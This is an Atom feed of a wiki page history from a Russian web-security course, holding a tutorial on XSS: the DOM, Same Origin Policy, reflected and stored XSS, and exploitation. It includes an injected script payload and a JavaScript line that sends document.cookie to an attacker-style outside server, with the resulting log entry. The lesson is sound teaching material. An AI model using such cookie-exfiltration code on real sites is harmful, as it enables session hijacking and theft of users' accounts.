<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://course.secsem.ru/w/index.php?action=history&amp;feed=atom&amp;title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C%2F%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_XSS</id>
	<title>Веб-безопасность/Уязвимости XSS - История изменений</title>
	<link rel="self" type="application/atom+xml" href="https://course.secsem.ru/w/index.php?action=history&amp;feed=atom&amp;title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C%2F%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_XSS"/>
	<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_XSS&amp;action=history"/>
	<updated>2026-04-29T02:37:07Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.43.3</generator>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_XSS&amp;diff=308&amp;oldid=prev</id>
		<title>Dzeni: Новая страница: «===Клиентская сторона=== ====Браузер==== &#039;&#039;&#039;Браузер&#039;&#039;&#039;, или &#039;&#039;&#039;веб-обозреватель&#039;&#039;&#039; — прикладное пр…»</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_XSS&amp;diff=308&amp;oldid=prev"/>
		<updated>2020-10-12T12:00:51Z</updated>

		<summary type="html">&lt;p&gt;Новая страница: «===Клиентская сторона=== ====Браузер==== &amp;#039;&amp;#039;&amp;#039;Браузер&amp;#039;&amp;#039;&amp;#039;, или &amp;#039;&amp;#039;&amp;#039;веб-обозреватель&amp;#039;&amp;#039;&amp;#039; — прикладное пр…»&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;===Клиентская сторона===&lt;br /&gt;
====Браузер====&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Браузер&amp;#039;&amp;#039;&amp;#039;, или &amp;#039;&amp;#039;&amp;#039;веб-обозреватель&amp;#039;&amp;#039;&amp;#039; — прикладное программное обеспечение для    просмотра страниц, содержания веб-документов, компьютерных файлов и их каталогов; управления веб-приложениями; а также для решения других задач. В глобальной сети браузеры используют для запроса, обработки, манипулирования и отображения содержания веб-сайтов.&lt;br /&gt;
====HTML====&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;HTML&amp;#039;&amp;#039;&amp;#039; — стандартизированный язык разметки документов во Всемирной паутине. Большинство веб-страниц содержат описание разметки на языке HTML (или XHTML). Язык HTML интерпретируется браузерами; полученный в результате интерпретации форматированный текст отображается на экране монитора компьютера или мобильного устройства.&lt;br /&gt;
====Document Object Model====&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;DOM&amp;#039;&amp;#039;&amp;#039; (Document Object Model — «объектная модель документа») — не зависящий от платформы и языка программный интерфейс, позволяющий программам и скриптам получить доступ к содержимому HTML-, XHTML- и XML-документов, а также изменять содержимое, структуру и оформление таких документов.&lt;br /&gt;
Пример:&lt;br /&gt;
&lt;br /&gt;
html-страница:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Html_examle_com.png|1024px]]&lt;br /&gt;
&lt;br /&gt;
её dom-дерево:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Dom example com.png|1024px]]&lt;br /&gt;
&lt;br /&gt;
* Каждый узел этого дерева – это объект.&lt;br /&gt;
* Теги являются узлами-элементами (или просто элементами). Они образуют структуру дерева: &amp;lt;html&amp;gt; – это корневой узел, &amp;lt;head&amp;gt; и &amp;lt;body&amp;gt; его дочерние узлы и т.д.&lt;br /&gt;
* Если браузер сталкивается с некорректно  написанным HTML-кодом, он автоматически корректирует его при построении DOM.&lt;br /&gt;
* Например, в начале документа всегда должен быть тег &amp;lt;html&amp;gt;. Даже если его нет в документе – он будет в дереве DOM, браузер его создаст. То же самое касается и тега &amp;lt;body&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===JavaScript===&lt;br /&gt;
====JavaScript====&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;JavaScript&amp;#039;&amp;#039;&amp;#039; — мультипарадигменный язык программирования. Поддерживает объектно-ориентированный, императивный и функциональный стили. Является реализацией языка ECMAScript. JavaScript обычно используется как встраиваемый язык для программного доступа к объектам приложений. Наиболее широкое применение находит в браузерах как язык сценариев для придания интерактивности веб-страницам.&lt;br /&gt;
Сегодня JavaScript может выполняться не только в браузере, но и на сервере или на любом другом устройстве, которое имеет специальную программу, называющуюся «движком» JavaScript. У браузера есть собственный движок, который иногда называют «виртуальная машина JavaScript»:&lt;br /&gt;
# V8 – в Chrome и Opera&lt;br /&gt;
# SpiderMonkey – в Firefox&lt;br /&gt;
# ...&lt;br /&gt;
Что может JavaScript в браузере?&lt;br /&gt;
# Добавлять новый HTML-код на страницу, изменять существующее содержимое, модифицировать стили.&lt;br /&gt;
# Реагировать на действия пользователя, щелчки мыши, перемещения указателя, нажатия клавиш.&lt;br /&gt;
# Отправлять сетевые запросы на удалённые сервера, скачивать и загружать файлы.&lt;br /&gt;
# Получать и устанавливать куки, задавать вопросы посетителю, показывать сообщения.&lt;br /&gt;
# Запоминать данные на стороне клиента.&lt;br /&gt;
====Browser Object Model====&lt;br /&gt;
JavaSript может взаимодействовать с dom (через window.document или document), а так же с BOM.&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Объектная модель браузера&amp;#039;&amp;#039;&amp;#039; (Browser Object Model, BOM) – это дополнительные объекты, предоставляемые браузером (окружением), чтобы работать со всем, кроме документа.&lt;br /&gt;
Приведем два примера использования BOM:&lt;br /&gt;
# Объект navigator даёт информацию о самом браузере и операционной системе. Среди множества его свойств самыми известными являются: window.navigator.userAgent – информация о текущем браузере, и window.navigator.platform – информация о платформе (может помочь в понимании того, в какой ОС открыт браузер – Windows/Linux/Mac и так далее).&lt;br /&gt;
# Объект window.location позволяет получить текущий URL и перенаправить браузер по новому адресу.&lt;br /&gt;
====Same Origin Policy====&lt;br /&gt;
Политика «Одинакового источника» (&amp;#039;&amp;#039;&amp;#039;Same Origin Policy&amp;#039;&amp;#039;&amp;#039;) ограничивает доступ окон и фреймов друг к другу. Идея заключается в том, что если у пользователя открыто две страницы: john-smith.com и gmail.com, то у скрипта со страницы john-smith.com не будет возможности прочитать письма из gmail.com. Таким образом, задача политики «Одинакового источника» – защитить данные пользователя от возможной кражи.&lt;br /&gt;
Два URL считаются имеющим один источник («same origin»), если у них одинаковый:&lt;br /&gt;
* протокол&lt;br /&gt;
* домен&lt;br /&gt;
* порт&lt;br /&gt;
Для иллюстрации, следующий список даёт обзор типичных проверок для сравнения с примером URL «http://www.example.com/dir/page.html».&lt;br /&gt;
# http://www.example.com/dir/page.html - соответствует&lt;br /&gt;
# http://www.example.com/dir2/other.html - соответствует&lt;br /&gt;
# http://username:password@www.example.com/dir2/other.html - соответствует&lt;br /&gt;
# http://www.example.com:81/dir/other.html - не соответствует, тот же протокол и домен, но другой порт&lt;br /&gt;
# https://www.example.com/dir/other.html - не соответствует, отличается протокол&lt;br /&gt;
# http://en.example.com/dir/other.html - не соответствует, отличается домен&lt;br /&gt;
# http://example.com/dir/other.html - не соответствует, отличается домен&lt;br /&gt;
# http://v2.www.example.com/dir/other.html - не соответствует, отличается домен&lt;br /&gt;
# http://www.example.com:80/dir/other.html - не определено, явное указание порта, зависит от реализации в браузере.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
После введения определения Same Origin Policy, перечислим ниже, чего &amp;lt;u&amp;gt;не&amp;lt;/u&amp;gt; может делать JavaSript:&lt;br /&gt;
# Различные окна/вкладки не знают друг о друге. Иногда одно окно, используя JavaScript, открывает другое окно. Но даже в этом случае JavaScript с одной страницы не имеет доступа к другой, если они пришли с разных сайтов (с другого домена, протокола или порта).&lt;br /&gt;
# JavaScript на веб-странице не может читать/записывать произвольные файлы на жёстком диске, копировать их или запускать программы. Он не имеет прямого доступа к системным функциям ОС.&lt;br /&gt;
# JavaScript может легко взаимодействовать с сервером, с которого пришла текущая страница. Но его способность получать данные с других сайтов/доменов ограничена. Хотя это возможно в принципе, для чего требуется явное согласие (выраженное в заголовках HTTP) с удалённой стороной. Опять же, это ограничение безопасности.&lt;br /&gt;
&lt;br /&gt;
===XSS=== &lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;XSS&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;Cross-Site-Scripting&amp;#039;&amp;#039;) — тип &amp;#039;&amp;#039;атаки&amp;#039;&amp;#039; на веб-приложение, заключающийся во внедрении в ответ веб-приложения вредоносного кода, который будет выполнен на компьютере пользователя при открытии им этой страницы.&lt;br /&gt;
&lt;br /&gt;
XSS занимает [https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS) 7 позицию] в рейтинге [https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project OWASP Top 10] от 2017 года.  &lt;br /&gt;
&lt;br /&gt;
Рассмотрим подробнее два типа XSS:&lt;br /&gt;
* Reflected XSS&lt;br /&gt;
* Stored XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Reflected XSS==== &lt;br /&gt;
Простейшим вариантом XSS является Reflected XSS (также называемый XSS типа 1), при которой часть запроса на сайт включается без достаточной фильтрации (например, вообще без изменений) в ответ на этот запрос.&lt;br /&gt;
&lt;br /&gt;
Представим себе простой сайт со следующим кодом страницы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Domain with XSS&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;a href=&amp;quot;/show?id=1&amp;quot;&amp;gt;View first&amp;lt;/a&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратим внимание на следующую строку из кода страницы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;/show?id=1&amp;quot;&amp;gt;View first&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Данная строка размещает на странице ссылку с названием &amp;quot;&amp;#039;&amp;#039;View first&amp;#039;&amp;#039;&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
Можно представить, что наш сайт - это сайт интернет-магазина и такая ссылка - это ссылка на страничку с конкретным товаром. Пусть данная ссылка на страничке генерируется следующим образом: &lt;br /&gt;
# Пользователь переходит на наш сайт по ссылке &amp;lt;code&amp;gt;https://my_site_with_xss.org/show?id=(НЕКОТОРЫЙ_ID)&amp;lt;/code&amp;gt;;&lt;br /&gt;
# В ответ он получает страничку, содержащую ссылку на запрошенный товар: &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;/show?id=(ВВЕДЁННЫЙ ID)&amp;quot;&amp;gt;View first&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; и ещё какую-то информацию, к примеру, рекламу. &lt;br /&gt;
Таки образом id формируется из &amp;#039;&amp;#039;&amp;#039;пользовательского ввода&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
Теперь предположим, что пользователь вводит вместо ID следующую строку: &amp;lt;code&amp;gt;1&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;a id=&amp;quot;&amp;lt;/code&amp;gt;. Это приведёт к тому, что на страничке появится код следующего вида: &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;/show?id=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;a id=&amp;quot;&amp;quot;&amp;gt;View first&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt;, а код самой странички будет выглядеть так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Domain with XSS&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;a href=&amp;quot;/show?id=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;a id=&amp;quot;&amp;quot;&amp;gt;View first&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Что же произошло? Обратим внимание на появившийся на страничке код &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;. Пользователь внедрил в код страницы (или другими словами &amp;#039;&amp;#039;произвёл инъекцию&amp;#039;&amp;#039;) свой [https://developer.mozilla.org/en-US/docs/Web/JavaScript JavaScript]! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Stored XSS ====&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Stored XSS&amp;#039;&amp;#039;&amp;#039; (или XSS типа 2) имеет место, когда атакующий JS-код &amp;#039;&amp;#039;&amp;#039;сохраняется на сервере&amp;#039;&amp;#039;&amp;#039; и возвращается не в ответ на запрос, передающий этот код (или не только на него), но и на другие запросы, уже не содержащие атаку. На стенде &lt;br /&gt;
Примером может служить общий чат, где текст личного сообщения никак не фильтруется и подставляется в страницу входящих сообщений as-is (что позволяет внедрить произвольный JS-код). Stored XSS намного опаснее, т. к., во-первых, вредоносный код сохраняется на сервере и может отработать несколько раз без дополнительных действий со стороны атакующего, во-вторых, жертва не должна как-то &amp;quot;подыгрывать&amp;quot; атакующему, переходя по подозрительным ссылкам или заходя на недоверенные сайты; жертва может делать вполне обычные действия, посещая вполне легитимные страницы сайта (в данном случае - просматривая личные сообщения) и при этом подвергнуться атаке.&lt;br /&gt;
&lt;br /&gt;
==== Эксплуатация XSS ====&lt;br /&gt;
&lt;br /&gt;
Конкретнее, атакующий может&lt;br /&gt;
* получить &amp;#039;&amp;#039;&amp;#039;cookie&amp;#039;&amp;#039;&amp;#039; через свойство &amp;lt;code&amp;gt;document.cookie&amp;lt;/code&amp;gt;. По умолчанию JavaScript-код может считывать значения кук и менять их. Это простейший способ эксплуатации XSS, после кражи сессионного идентификатора атакующий может просто уже самостоятельно делать запросы, передавая его в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt;, сайт будет воспринимать эти запросы как пришедшие от пользователя-жертвы, так что дальше атакующий сможет получить доступ ко всем данным жертвы, просто запрашивая их. Чтение куки из JS-кода можно запретить, выставив атрибут куки &amp;lt;code&amp;gt;HttpOnly&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies MDN], [https://www.owasp.org/index.php/HttpOnly OWASP]), он выставляется вместе с кукой в заголовке ответа &amp;lt;code&amp;gt;Set-Cookie: session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.XI9rjw.-tX3LIQ-cwyUnNlOuQqyVXBu99A; HttpOnly; Path=/&amp;lt;/code&amp;gt;. Проверить, сработает ли кража куки можно, залогинившись и обратившись к &amp;lt;code&amp;gt;document.cookie&amp;lt;/code&amp;gt; (в браузерной консоли или по-другому из JS кода). &lt;br /&gt;
* читать (и изменять) страницу, на которой выполняется JS-код. JavaScript-код может произвольным образом манипулировать страницей, используя интерфейс &amp;#039;&amp;#039;&amp;#039;Document Object Model&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;&amp;#039;DOM&amp;#039;&amp;#039;&amp;#039;, [https://en.wikipedia.org/wiki/Document_Object_Model википедия], [https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model MDN]). К примеру, весь HTML-код страницы можно считать таким кодом &amp;lt;code&amp;gt;var wholePage = document.documentElement.outerHTML;&amp;lt;/code&amp;gt;&lt;br /&gt;
* делать HTTP-запросы к сайту и читать ответы на них, используя &amp;#039;&amp;#039;&amp;#039;XMLHttpRequest&amp;#039;&amp;#039;&amp;#039; и &amp;#039;&amp;#039;&amp;#039;fetch&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
* выводить считанные данные &amp;#039;&amp;#039;&amp;#039;на сервер атакующего&amp;#039;&amp;#039;&amp;#039;. Как уже обсуждалось выше, JS-код на странице &amp;#039;&amp;#039;&amp;#039;может&amp;#039;&amp;#039;&amp;#039; делать запросы к другим сайтам (по умолчанию читать ответы не получится, но, во-первых, для вывода украденных данных достаточно сделать запрос, во-вторых, в крайнем случае атакующий может включить на своём cервере &amp;#039;&amp;#039;&amp;#039;CORS&amp;#039;&amp;#039;&amp;#039;).&lt;br /&gt;
** Для отправки запроса, содержащего украденные данные, можно использовать XMLHttpRequest/fetch&lt;br /&gt;
** есть еще более простой трюк - создать в JS-коде изображение с URL, хостом которого будет сервер атакующего, а в пути или query string будут украденные данные. При попытке загрузить изображение по этому URL браузер отправит запрос, включающий украденные данные, атакующий увидит его, скажем, в логах своего сервера. Например, такой код &amp;lt;code&amp;gt;var i = new Image;var stolenCookie = document.cookie; i.src = &amp;#039;https://utkautkautkautkautka.pythonanywhere.com/stolen?data=&amp;#039; + stolenCookie&amp;lt;/code&amp;gt; приведёт к тому что браузер откроет URL https://utkautkautkautkautka.pythonanywhere.com/stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk и а логах этого сервера появится запись &amp;lt;code&amp;gt;&amp;quot;GET /stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk HTTP/1.1&amp;quot; 404&amp;lt;/code&amp;gt;, содержащая украденную куку.&lt;br /&gt;
** При выводе данных атакующему может помогать кодировать данные (чтобы, скажем, они не образались по какому-нибудь символу-разделителю). Очень полезна функция &amp;lt;code&amp;gt;btoa&amp;lt;/code&amp;gt;, которая кодирует строку в &amp;#039;&amp;#039;&amp;#039;base64&amp;#039;&amp;#039;&amp;#039;. Другим вариантом может быть URL-кодирование (&amp;lt;code&amp;gt;encodeURIComponent&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====К чему приводит XSS==== &lt;br /&gt;
Вспомним, что может делать JavaScript в браузере:&lt;br /&gt;
* Добавлять новый HTML-код на страницу, изменять существующее содержимое, модифицировать стили&lt;br /&gt;
* Реагировать на действия пользователя, щелчки мыши, перемещения указателя, нажатия клавиш&lt;br /&gt;
* Отправлять сетевые запросы на удалённые сервера, скачивать и загружать файлы&lt;br /&gt;
* Получать и устанавливать куки, задавать вопросы посетителю, показывать сообщения&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
Таким образом, выполнение произвольного JavaScript кода, внедрённого в код странички сайта злоумышленником, в браузере пользователя может приводить к большим проблемам. Например, злоумышленник может &amp;#039;&amp;#039;угнать аккаунт пользователя&amp;#039;&amp;#039; или &amp;#039;&amp;#039;украсть секретные данные&amp;#039;&amp;#039;. Но об этом позже, а сейчас попробуем разобраться с тем, чем же отличаются различные типы XSS.&lt;br /&gt;
&lt;br /&gt;
====Ключевые отличия различных типов XSS====&lt;br /&gt;
# &amp;#039;&amp;#039;&amp;#039;Reflected XSS&amp;#039;&amp;#039;&amp;#039; - атакуемый должен перейти по ссылке, сформированной злоумышленником. &lt;br /&gt;
# &amp;#039;&amp;#039;&amp;#039;Stored XSS&amp;#039;&amp;#039;&amp;#039; - приложение хранит пользовательский ввод в некотором хранилище (например, в базе данных). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Как поднять сервер====&lt;br /&gt;
В процессе анализа веб-приложения на безопасность (как в общем-то и на предмет других свойств) бывает полезно поднять свой тестовый сервер с кусочком анализируемого приложения или просто каким-то своим экспериментальным кодом. &lt;br /&gt;
Локально:&lt;br /&gt;
&amp;lt;pre&amp;gt;python -m SimpleHTTPServer&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;python3 -m http.server&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;php -S localhost:8000&amp;lt;/pre&amp;gt;&lt;br /&gt;
В интернете:&lt;br /&gt;
* https://www.pythonanywhere.com/ - c его помощью можно поднять бесплатно Полноценное веб-приложение, доступное через интернет. Там есть всё необходимое - можно размещать как статический, так и динамический контент, смотреть логи.&lt;br /&gt;
* https://requestbin.fullcontact.com/ - более простая штука, если вам нужно просто принять запрос и посмотреть, какие данные в нём пришли, можно использовать requestbin или аналогичные сервисы. Был замечен, к сожалению, в нестабильной работе.&lt;br /&gt;
&lt;br /&gt;
===Ссылки===&lt;br /&gt;
* [https://drive.google.com/file/d/1RvE8TLbaeVUgeRYcCrNcTc6ZkVxCAMsN/view?usp=sharing презентация &amp;quot;Уязвимость XSS&amp;quot;]&lt;br /&gt;
* [https://yadi.sk/d/o4cFtxls-WlUAw/%D0%A1%D0%B5%D0%BC%D0%B8%D0%BD%D0%B0%D1%80%204.%2008%20%D0%BE%D0%BA%D1%82%D1%8F%D0%B1%D1%80%D1%8F.mp4?w=1 видео &amp;quot;Уязвимость XSS&amp;quot;]&lt;/div&gt;</summary>
		<author><name>Dzeni</name></author>
	</entry>
</feed>